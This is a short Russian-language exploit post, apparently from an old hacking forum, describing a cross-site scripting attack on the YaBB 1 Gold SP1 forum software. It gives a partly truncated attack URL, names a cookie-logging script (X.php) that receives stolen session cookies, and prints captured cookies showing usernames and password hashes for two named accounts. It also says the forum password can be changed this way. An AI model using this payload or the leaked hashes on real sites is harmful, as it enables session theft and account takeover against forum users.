Межсайтовый скриптинг в известном форуме YaBB 1 Gold - SP!

http://the.target.xxx/board....39;Http

num - это не существующий постинг.
board - должен быть существующий и доступный форум
X.php - скрипт для лога куки

Что в примере куки?
268: YaBBusername=HellMind;
YaBBpassword=yyG8B.3TA6i6I
272: YaBBusername=Canallaman;
YaBBpassword=yypZn/JbGHTNY

Проверено на YaBB 1 Gold - SP1!

Возможно изменение пароля к форуму.
_
Powered by #termes